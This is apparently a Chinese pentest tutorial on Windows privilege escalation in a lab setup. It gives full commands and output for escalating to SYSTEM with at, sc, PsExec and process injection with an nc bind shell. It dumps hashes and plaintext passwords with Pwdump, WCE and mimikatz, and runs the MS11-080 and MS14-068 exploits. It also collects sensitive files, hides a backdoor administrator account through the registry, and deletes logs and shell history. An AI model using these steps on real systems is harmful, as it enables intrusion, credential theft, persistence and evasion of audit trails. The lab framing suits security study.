windows提权——本地提权

  • 已实现本地低权限账号登录
    • 远程溢出
    • 直接获得账号密码
  • 希望获得更高权限
    • 实现对目标进一步控制
  • 系统账号之间权限隔离
    • 操作系统安全的基础
    • 用户空间
    • 内核空间
  • 系统账号
    • 用户账号登录时获取权限令牌
    • 服务账号无需用户登录已在后台启动服务
  • Windows
    • users
    • Administrator
    • System

Windows系统提权

1.使用 at 提权 (当前仅适用于 WinXp 及 Windows server 2003 等低级版本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# 修改密码:net user kevin *
C:\Documents and Settings\kevin>net user kevin *
Type a password for the user:
Retype the password to confirm:
The command completed successfully.

# 查看系统用户:net user
C:\Documents and Settings\kevin>net user
User accounts for \\DH-CA8822AB9589
---------------------------------------------------------------------
Administrator Guest HelpAssistant
IUSR_DH-CA8822AB9589 IWAM_DH-CA8822AB9589 kevin
SUPPORT_388945a0
The command completed successfully.

# 查看用户状态:
C:\Documents and Settings\kevin>net user kevin
User name kevin
Full Name kevin
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never

Password last set 2/28/2018 2:05 PM
Password expires Never
Password changeable 2/28/2018 2:05 PM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon 2/28/2018 2:03 PM

Logon hours allowed All

Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.

1.查看用户进程

2.将 administrator 用户权限提升为 system 权限

1
2
3
4
5
6
7
8
C:\Documents and Settings\administrator>cd \
C:\>at -?
C:\>at 2:15 /interactive cmd #必须是未来时间,否则将是明天时间
Added a new job with job ID = 1
C:\>at
Status ID Day Time Command Line
---------------------------------------------------------------------
1 Today 2:15 AM cmd

我们看到这里弹出了system权限的命令框

3.用新的 system 权限的窗口启动任务管理器

1
C:\WINDOWS\system32>taskmgr

4.关闭之前的explorer

5.应用程序->新任务->explorer

6.验证桌面用户权限

2.使用 sc 提权 (适用于 Win7 及Windows server 2008 等高级版本)

1.运行->services.msc

1
2
3
- C:\Users\root>cd \
- C:>sc Create syscmd binPath= “cmd /K starttype= own type= interact
- C:>sc start syscmd

3.使用 Sysinternals Suite 套件

推荐书籍 《Windows Internals第7版》

Sysinternals Suite 套件下载

  • 下载之后解压使用其中的 PsExec 放在C盘根目录

  • 启动 PsExec.exe

1
2
3
4
5
6
C:\>PsExec.exe
-i: 交互模式
-s: 使用系统账户

C:\>psexec -p'sei -s -d taskmgr
C:\>PsExec.exe -i -s cmd
  • 提权结果

注入进程提权

  • pinjector.exe

下载:https://www.tarasco.org/security/Process_Injector/:

  • 下载之后解压使用其中的 PsExec 放在C盘根目录

  • 列出可注入进程及其信息
    • C:>pinjector.exe
    • C:>pinjector.exe -l
  • 找一个未使用端口
    • C:>netstat -nao | find “4444”
    • 无结果表示未使用
  • 选择一个进程注入
1
2
3
4
5
6
7
C:\>pinjector.exe -l
PID 668 services.exe ( 16 Threads) USER: \\NT AUTHORITY\SYSTEM
C:\>pinjector.exe -p 668 cmd 4444
Privilege Switcher for Win32(Private version)
(c) 2006 Andres Tarasco - atarasco@gmail.com
[+] Trying to execute cmd to 668 as: ? \
[+] Code inyected... ; )
  • 查看被注入的进程的监听状态
1
2
C:\>netstat -nao | find "555"
TCP 0.0.0.0:555 0.0.0.0:0 LISTENING 668
  • 利用此监听端口
1
2
3
4
5
6
7
root@kali:~# nc -nv 192.168.153.143 4444
Connection to 10.10.10.128 555 port [tcp/*] succeeded!
Microsoft Windows XP [?汾 5.1.2600]
(C) ??????? 1985-2001 Microsoft Corp
C:\WINDOWS\system32>whoami
whoami
SYSTEM
  • 查看进程
1
使用 SysinternalsSuite/procexp.exe 查看进程

读取windows本地密码进行提权

1. 抓包嗅探

  1. Windows
    • Wireshark
    • Omnipeek
    • Commview
    • Sniffpass:抓取密码相关的数据包
  2. Linux
    • Tcpdump
    • Wireshark
    • Dsniff:抓取密码相关的数据包

2. 键盘记录本地密码

  • 可以使用木马软件 DarkCometRAT
  • 在控制目标主机之后可以监控键盘记录信息

3.查看本地缓存密码

  • 在浏览器查看缓存密码

  • windows 密码恢复工具

  • 使用 Pwdump 查看 windows 本地登录密码

    • windows 登录密码保存在 C:\Windows\System32\config\SAM 文件中
    • pwdump 在 kali 系统中可以找到 /usr/share/windows-binaries/fgdump/
    • 添加用户
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    C:\Documents and Settings\kevin>net user user2 123456 /add
    C:\Documents and Settings\kevin>net user
    \\ICST-WINATT 的用户帐户
    -------------------------------------------------------------
    Administrator Guest HelpAssistant
    kevin SUPPORT_388945a0 test
    user1 user2
    C:\Documents and Settings\kevin>cd \
    C:\>PwDump.exe localhost
    Administrator:500:18D583B495C4696AFF17365FAF1FFE89:5D36F0CA14EEBEF32F55C7B6A4675DB0:::
    Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
    HelpAssistant:1000:5906F3A72959D5902440275BA555A537:10AA20D63C3EC71E0102AC95ADF6DF73:::
    kevin:1004:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::
    SUPPORT_388945a0:1002:NO PASSWORD*********************:8AFA81401E8D8EBFA42B4E46F6507C07:::
    test:1005:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::
    user1:1006:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::
    user2:1007:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::Completed.
    # 结果:前部分是 LMHASH ,后部分是 NTLMHASH
    • 可以将结果保存在文件中,然后在 kali 中进行破解

      在这里插入图片描述

WCE (WINDOWS CREDENTIAL EDITOR)

  • WINDOWS身份认证过程

在这里插入图片描述

WCE (WINDOWS CREDENTIAL EDITOR)

  • windows 内核中保存有密码明文副本,安全机制较低
  • 需要管理员权限
  • 工具保持在 kali 的 /usr/share/wce/wce-universal # 通用格式是自动识别32位和64位
  • 多用户登录目标主机

在这里插入图片描述

  • 列举登录账号及会话
1
2
3
4
5
6
7
C:\>wce-universal.exe -lv
0020B19D:user1:ICST-WINATT:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
001E5D92:user2:ICST-WINATT:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
001B9220:test:ICST-WINATT:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
0000C7CE:kevin:ICST-WINATT:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
000003E4:ICST-WINATT$:MSHOME:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
# 与 C:\>PwDump.exe localhost 结果相同
  • 每隔5秒刷新一次

    • wce-universal.exe -r
  • 删除登录会话

    1
    2
    3
    4
    5
    6
    C:\>wce-universal.exe -d 0020B19D
    C:\>wce-universal.exe -lv
    001E5D92:user2:ICST-WINATT:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
    001B9220:test:ICST-WINATT:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
    0000C7CE:kevin:ICST-WINATT:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
    000003E4:ICST-WINATT$:MSHOME:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
  • 计算密码对应的 HASH 值

1
2
3
C:\>wce-universal.exe -g passwd
Password: passwd
Hashes: 91C7AE7122196B5EAAD3B435B51404EE:22315D6ED1A7D5F8A7C98C40E9FA2DEC
  • 读取内核中的明文密码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\>wce-universal.exe -w
user1\ICST-WINATT:123456
user2\ICST-WINATT:123456
test\ICST-WINATT:123456
kevin\ICST-WINATT:123456
NETWORK SERVICE\MSHOME:

C:\>net user user1 111222
命令成功完成。
C:\>wce-universal.exe -w
user1\ICST-WINATT:123456
user2\ICST-WINATT:123456
test\ICST-WINATT:123456
kevin\ICST-WINATT:123456
NETWORK SERVICE\MSHOME:
# 当前内核中保存的值会在下次登录被读取出来
  • 对 LUID 进行修改(将LUID改为匹配其他用户的用户名和密码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\>wce-universal.exe -lv
001E5D92:user2:ICST-WINATT:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
001B9220:test:ICST-WINATT:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
0000C7CE:kevin:ICST-WINATT:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
000003E4:ICST-WINATT$:MSHOME:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
C:\>wce-universal.exe -i 001E5D92 -s kevin:ICST- WINATT:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
Changing NTLM credentials of logon session 001E5D92h to:
Username: kevin
domain: ICST-WINATT
LMHash: 44EFCE164AB921CAAAD3B435B51404EE
NTHash: 32ED87BDB5FDC5E9CBA88547376818D4
NTLM credentials successfully changed!
C:\>wce-universal.exe -lv
001E5D92:kevin:ICST-WINATT:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
001B9220:test:ICST-WINATT:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
000003E4:ICST-WINATT$:MSHOME:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0
  • Win7 及 之前默认 都可遭受 WCE 攻击

    • 防范方法:修改注册表
    1
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
    • 删除 wdigest 之后重启计算机

    在这里插入图片描述

fgdump
  • PwDump localhost
    • 位置:Pwdump 在 kali 系统中可以找到 /usr/share/windows-binaries/fgdump/
  • fgdump
    • 位置:Pwdump 在 kali 系统中可以找到 /usr/share/windows-binaries/fgdump/
      放在 WinXP 中, 双击或在命令行执行 fgdump.exe 会自动生成三个文件,文件中保存着密码

在这里插入图片描述

mimikatz
  • 在 kali 中的路径 /usr/share/mimikatz,将 win32 复制到 windows 主机
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
C:\Win32>mimikatz.exe
查看帮助是::
mimikatz # ::
standard - Standard module [Basic commands (does not require module name)]
crypto - Crypto Module
sekurlsa - SekurLSA module [Some commands to enumerate credentials...]
kerberos - Kerberos package module []
privilege - Privilege module
process - Process module
service - Service module
lsadump - LsaDump module
ts - Terminal Server module
event - Event module
misc - Miscellaneous module
token - Token manipulation module
vault - Windows Vault/Credential module
minesweeper - MineSweeper module
net -
dpapi - DPAPI Module (by API or RAW access) [Data Protection application programming interface]
busylight - BusyLight Module
sysenv - System Environment Value module
sid - Security Identifiers module
iis - IIS XML Config module
rpc - RPC control of mimikatz
mimikatz # privilege::
Module : privilege
Full name : Privilege module

debug - Ask debug privilege * *
driver - Ask load driver privilege
security - Ask security privilege
tcb - Ask tcb privilege
backup - Ask backup privilege
restore - Ask restore privilege
sysenv - Ask system environment privilege
id - Ask a privilege by its id
name - Ask a privilege by its name
mimikatz # privilege::debug
mimikatz # sekurlsa::
mimikatz # sekurlsa::logonPasswords
mimikatz # sekurlsa::wdigest
mimikatz # process::list
mimikatz # lsadump::sam
mimikatz # lsadump::cache
mimikatz # ts::multirdp
mimikatz # event::clear
mimikatz # event::drop
mimikatz # misc::regedit
mimikatz # token::whoami

利用漏洞提权

1. 使用 Ms011-080 获取 WinXP 的 SYSTEM 权限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~# searchsploit Ms11-080
------------------------------------------ --------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------ --------------------------------
Microsoft Windows - 'AfdJoinLeaf' Local P | exploits/windows/local/21844.rb
Microsoft Windows XP/2003 - 'afd.sys' Loc | exploits/windows/local/18176.py
------------------------------------------ --------------------------------

root@kali:~# cp /usr/share/exploitdb/exploits/windows/local/18176.py .

# 将文件拷贝到 英文版 WinXP 系统(有时候中文版 XP 也可以使用)
# 首先查看 WinXP 是否安装了 对应更新 Kb2592799
WinXP -> 运行 -> appwiz.cpl -> 查看是否有安装 Kb2592799,有的话卸载掉

在这里插入图片描述

查看 WinXP下的文件路径

在这里插入图片描述

1.WinXP 上安装的 python 的运行环境
C:\Documents and Settings\kevin>cd \

1
C:\>18176.py -O XP

在这里插入图片描述

启动任务管理器

在这里插入图片描述

结束 kevin 权限的 explorer 桌面程序

在这里插入图片描述

输入 explorer

在这里插入图片描述

启动 system 权限的 explorer 桌面程序

在这里插入图片描述

2.WinXP 无需安装 Pyhon 的运行环境

1
2
3
4
5
6
7
8
# 使用 python2 的 pyinstaller 将 python 文件进行打包
root@kali:~# apt-get install python-pip
root@kali:~# pip install pyinstaller
# 或者 WinXP 下,安装 python2.7
C:\>pyinstaller --onefile 18176.py
297 INFO: Building EXE from out00-EXE.toc
297 INFO: Appending archive to EXE C:\dist\18176.exe
328 INFO: Building EXE from out00-EXE.toc completed successfully.

在这里插入图片描述

1
2
3
4
5
6
7
# 打开文件目录,将文件复制到目标主机
C:\>whoami
test
C:\>net user test
本地组成员 *Users
全局组成员 *None
# 查看文件位置

在这里插入图片描述

1
2
C:\>cd 111
C:\111>18176.exe -O XP

在这里插入图片描述

1
2
3
4
5
C:\WINDOWS\system32>whoami
SYSTEM
# 将自己添加为管理员组
C:\WINDOWS\system32>net localgroup administrators test /add
命令成功完成。

2.用 Ms11-046 时目标主机蓝屏(Dos)

2.Win7 使用 Ms14-068 获取 域控制器的权限

  • 使用 win2003 搭建域控制器

    • 配置并连接域控制器

      • 运行 -> dcpromo

      在这里插入图片描述

1
2
3
4
5
6
# Win2003 设置成域控制器,配置静态 IP 地址
# Win2003 设置强密码
C:\>net user Administrator jlcssadmin2006...

# Win7 设置 静态 IP 并将 DNS 设置为 Win2003 的IP地址
# Win7 加入域控制器

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

重启之后

在这里插入图片描述

  • 修改 Win2003 中的域控制器的用户权限

    • Win2003 -> 运行 -> dsa.msc

    在这里插入图片描述

在这里插入图片描述

  • Win7

在这里插入图片描述

  • win2003

在这里插入图片描述

  • Win7 可以查看域控制器共享出来的文件等资源

在这里插入图片描述

  • 使用漏洞代码攻击域控制器

    • 获取攻击文件

      1
      2
      3
      4
      5
      6
      7
      8
      # root@kali:~# searchsploit Ms14-068
      ------------------------------------------ ----------------------------------
      Exploit Title | Path
      | (/usr/share/ exploitdb/)
      ------------------------------------------ ----------------------------------
      Microsoft Windows Kerberos - Privilege Es | exploits/windows/remote/35474.py
      ------------------------------------------ ---------------------------------
      root@kali:~# cp /usr/share/exploitdb/exploits/windows/remote/35474.py .
    • 域环境下使用通用工具查看本地密码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    C:\fgdump>PwDump.exe localhost	# 仅是本地密码
    C:\>wce-universal.exe # 结果是域控制器密码
    C:\>wce-universal.exe -w
    Administrator\LAB:jlcssadmin
    C:\Win32>mimikatz.exe
    mimikatz # ::
    mimikatz # privilege::debug
    Privilege '20' OK
    mimikatz # kerberos::list
    mimikatz # sekurlsa::logonPasswords
    • 漏洞利用过程
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    1. 首先在 kali 通过脚本生成一个票据文件
    # ms14-068.py -u user@lab.com -s userSID -d dc.lab.com
    -u 用户名:登录用户名
    -s userSID
    -d 域控制器名称:在 Win7 计算机名称处查看,不在域控是,可以用IP地址代替
    2. 将票据文件拷贝到 win 系统里
    # 拷贝 TGT_user1@lab.com.ccache 到windows系统
    3. 在 win 系统里使用 mimikatz.exe 完成权限的提升
    # mimikatz.exe log "kerberos::ptc TGT_user@lab.com.ccache" exit

    # 在 Win7 上使用本地用户登录
    # 查看域账号的信息
    C:\>net user
    \\WIN7-VM 的用户帐户
    Administrator Guest John
    user1 user2
    命令成功完成。
    C:\Win32>whoami.exe /all
    [User] = "LAB\user3" S-1-5-21-3056505427-3800332898-2304591883-1111

    # kali 报错缺少模块
    root@kali:~# python 35474.py -u user3@lab.com -s S-1-5-21-3056505427-3800332898-2304591883-1111 -d 172.16.10.132

    # 下载安装模块https://github.com/bidord/pykek

    在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/Desktop/pykek-master# python ms14-068.py -u user3@lab.com -s S-1-5-21-3056505427-3800332898-2304591883-1111 -d 172.16.10.132
Password:
[+] Building AS-REQ for 172.16.10.132... Done!
[+] Sending AS-REQ to 172.16.10.132... Done!
[+] Receiving AS-REP from 172.16.10.132... Done!
[+] Parsing AS-REP from 172.16.10.132... Done!
[+] Building TGS-REQ for 172.16.10.132... Done!
[+] Sending TGS-REQ to 172.16.10.132... Done!
[+] Receiving TGS-REP from 172.16.10.132... Done!
[+] Parsing TGS-REP from 172.16.10.132... Done!
[+] Creating ccache file 'TGT_user1@lab.com.ccache'... Done
# 将文件拷贝到 Win7

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
	# 在 Win7 下执行
C:\mimikatz\Win32>mimikatz.exe log "kerberos::ptc TGT_user3@lab.com.ccache" exit
![在这里插入图片描述](https://img-blog.csdnimg.cn/2019041316554383.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0tldmluaGFuc2Vy,size_16,color_FFFFFF,t_70)

# 如果injecte成功 你有可能获得到了域管理session,那么klist看一下是否有了kerberos Ticket
C:\mimikatz\Win32>klist
当前登录 ID 是 0:0x776bd
缓存的票证: (1)
#0> 客户端: user3 @ LAB.COM
服务器: krbtgt/LAB.COM @ LAB.COM
Kerberos 票证加密类型: RSADSI RC4-HMAC(NT)
票证标志 0x50a00000 -> forwardable proxiable renewable pre_authent
开始时间: 3/4/2018 2:00:45 (本地)
结束时间: 3/4/2018 12:00:44 (本地)
续订时间: 3/11/2018 2:00:44 (本地)
会话密钥类型: RSADSI RC4-HMAC(NT)
C:\mimikatz\Win32>net use \\Win2003.lab.com\admin$
命令成功完成。

利用配置不当提权

  • 与漏洞提权相比更常用的方法
    • 企业环境
    • 补丁更新的全部已经安装
    • 输入变量过滤之外更值得研发关注的安全隐患
    • 以system权限启动
    • NTFS权限允许users修改删除
  • icacls
    • icacls c:\windows*.exe /save perm /T
    • i586-mingw32msvc-gcc -o admin.exe admin.c
  • Find
    • find / -perm 777 -exec ls -l {} ;
  • 应用系统的配置文件
    • 应用连接数据库的配置文件

1. NTFS权限允许 users 修改删除

  • icacls 在 win2003 及以后的版本中存在,可以拷贝到 WinXP 中
1
2
3
4
5
6
7
8
9
10
C:\>icacls boot.ini
boot.ini BUILTIN\Power Users:(RX)
BUILTIN\Administrators:(F)
NT AUTHORITY\SYSTEM:(F)

Successfully processed 1 files; Failed processing 0 files
# 如果 user 用户拥有 F(FULL)权限,则可以直接控制系统

# 查询各程序的权限情况
C:\>icacls c:\windows\*.exe /save saveicacls /T

1
2
3
4
5
6
7
8
9
BU:build user
PU:power user
BA:build administrator

如果 BU 是 F 的话,则说明可以替换
如果出现 FA;;;BU,则说明权限配置不当

# kali 下使用 c 文件生成 winXP 下的可执行程序
root@kali:~# i686-w64-mingw32-gcc -o admin.exe admin.c
2.linux 下查看权限
1
2
root@kali:~# ls -l
find / -perm 777 -exec ls -l {} \;
3.应用系统的配置文件
1
2
1. 应用连接数据库的配置文件
2. 后台服务运行账号

收集敏感信息

1. 提权之后收集基本信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Linux
•/etc/resolv.conf
•/etc/passwd
•/etc/shadow
•whoami and who –a
•ifconfig -a, iptables -L -n, ifconfig –a, netstat –r
•uname –a, ps aux
•dpkg -l| head

# Windows
•ipconfig /all , ipconfig /displaydns, netstat -bnao , netstat –r
•net view , net view /domain # 查共享信息
•net user /domain, net user %username% /domain # 查域信息
•net accounts, net share
•net localgroup administrators username /add
•net group "Domain Controllers" /domain
•net share name$=C:\ /unlimited # 把 C盘共享出来
•net user username /active:yes /domain # 域管理员重新启动被锁定账号
2. WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
C:\Users\John>wmic
wmic:root\cli>/?
[global switches] <command>

有效的全局开关有:
/NAMESPACE 别名使用的名称空间路径。
/ROLE 包含此别名定义的角色路径。
/NODE 别名使用的服务器。
/IMPLEVEL 客户模拟级别。
/AUTHLEVEL 客户身份验证级别。
/LOCALE 客户应用的语言识别符。
/PRIVILEGES 启用或禁用所有特权。
/TRACE 将调试信息输出到 stderr。
/RECORD 将所有输入命令和输出写入日志。
/INTERACTIVE 设置或重设交互模式。
/FAILFAST 设置或重置 FailFast 模式。
/USER 会话期间使用的用户。
/PASSWORD 用于会话登录的密码。
/OUTPUT 为输出重新定向指定模式。
/APPEND 为输出重新定向指定模式。
/AGGREGATE 设置或重置集合模式。
/AUTHORITY Specifies the <authority type> for the connection.
/?[:<BRIEF|FULL>] 用法信息。



•wmic nicconfig get ipaddress,macaddress
•wmic computersystem get username
•wmic netlogin get name,lastlogon
•wmic process get caption, executablepath,commandline # 提取软件安装信息
•wmic process where name=“calc.exe" call terminate # 结束进程
•wmic os get name,servicepackmajorversion #提取操作系统的补丁版本
•wmic product get name,version # 提取软件信息
•wmic product where name=“name” call uninstall /nointeractive # 静默删除
•wmic share get /ALL # 提取共享文件夹
•wmic /node:"machinename" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1" # 开远程桌面
•wmic nteventlog get path,filename, writeable #查看日志目录



C:\>wmic nteventlog get path,filename, writeable
FileName Path Writeable
appevent \windows\system32\config\ TRUE
ntds \windows\system32\config\ TRUE
dnsevent \windows\system32\config\ TRUE
ntfrs \windows\system32\config\ TRUE
secevent \windows\system32\config\ TRUE
sysevent \windows\system32\config\ TRUE
ThinPrint \windows\system32\config\ TRUE
3. 收集敏感信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Linux
•/etc ;/usr/local/etc
•/etc/passwd ;/etc/shadow
•.ssh ;.gnupg 公私钥
•The e-mail and data files
•业务数据库 ;身份认证服务器数据库
•/tmp

# windows
•SAM 数据库 ; 注册表文件
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
•业务数据库; 身份认证数据库
•临时文件目录
•UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\

清除渗透攻击痕迹

  • 最多也只是清除本地记录,如果有日志服务器的话还是会被记录下所有操作
  • windows 系统
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
•禁止在登陆界面显示新建账号
•REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersio\WinLogon\SpecialAccounts\UserList" /v uname /T REG_DWORD /D 0
•del %WINDIR%\*.log /a/s/q/f
•History
•日志
•auth.log / secure
•btmp / wtmp
•lastlog / faillog
•其他日志和 HIDS 等


# 控制系统之后,新建账号并添加管理员组
C:\>net user user4 123456 /add
命令成功完成。
C:\>net localgroup administrators user4 /add
命令成功完成。
# 这样开机登录的界面会显示这个账户
# 可以通过添加注册表来隐藏
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v user4 /T REG_DWORD /D 0
C:\>REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v user4 /T REG_DWORD /D 0
操作成功结束
# 但是使用 net user 还是可以查看到这个账户


# 强制静默删除日志
C:\>del %WINDIR%\*.log /a/s/q/f
  • Linux 系统
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
root@kali:~# history
# history 记录保存在 .bash_history
root@kali:~# ls -l .bash_history
-rw------- 1 root root 15418 34 00:28 .bash_history
# 擦除痕迹
root@kali:~# history -c

root@kali:~# lsattr
--------------e---- ./Downloads
--------------e---- ./Desktop
--------------e---- ./testDir
--------------e---- ./Pictures
--------------e---- ./Public
--------------e---- ./vmware-tools-patches
--------------e---- ./Videos
--------------e---- ./Documents
--------------e---- ./Music
--------------e---- ./Templates
root@kali:~# chattr -h
Usage: chattr [-pRVf] [-+=aAcCdDeijPsStTu] [-v version] files...

# 修改文件属性让其无法被写入数据
root@kali:~# touch 456.txt
root@kali:~# lsattr 456.txt
--------------e---- 456.txt
root@kali:~# ifconfig > 456.txt
root@kali:~# chattr +i 456.txt
root@kali:~# lsattr 456.txt
----i---------e---- 456.txt
root@kali:~# ifconfig > 456.txt
-bash: 456.txt: 不允许的操作

# 修改 .bash_history,让其无法被写入,会变成只读文件
root@kali:~# chattr +i .bash_history


# 日志记录
•auth.log / secure
•btmp / wtmp
•lastlog / faillog

root@kali:~# cat /var/log/auth.log
root@kali:~# cat /var/log/wtmp
root@kali:~# lastlog
用户名 端口 来自 最后登陆时间
root pts/3 172.16.10.134 02:30:00 -0500 2018
daemon **从未登录过**
bin **从未登录过**
sys **从未登录过**
sync **从未登录过**
games **从未登录过**
man **从未登录过**
lp **从未登录过**
mail **从未登录过**
news **从未登录过**
uucp **从未登录过**
proxy **从未登录过**
www-data **从未登录过**
backup **从未登录过**
list **从未登录过**
irc **从未登录过**
gnats **从未登录过**
nobody **从未登录过**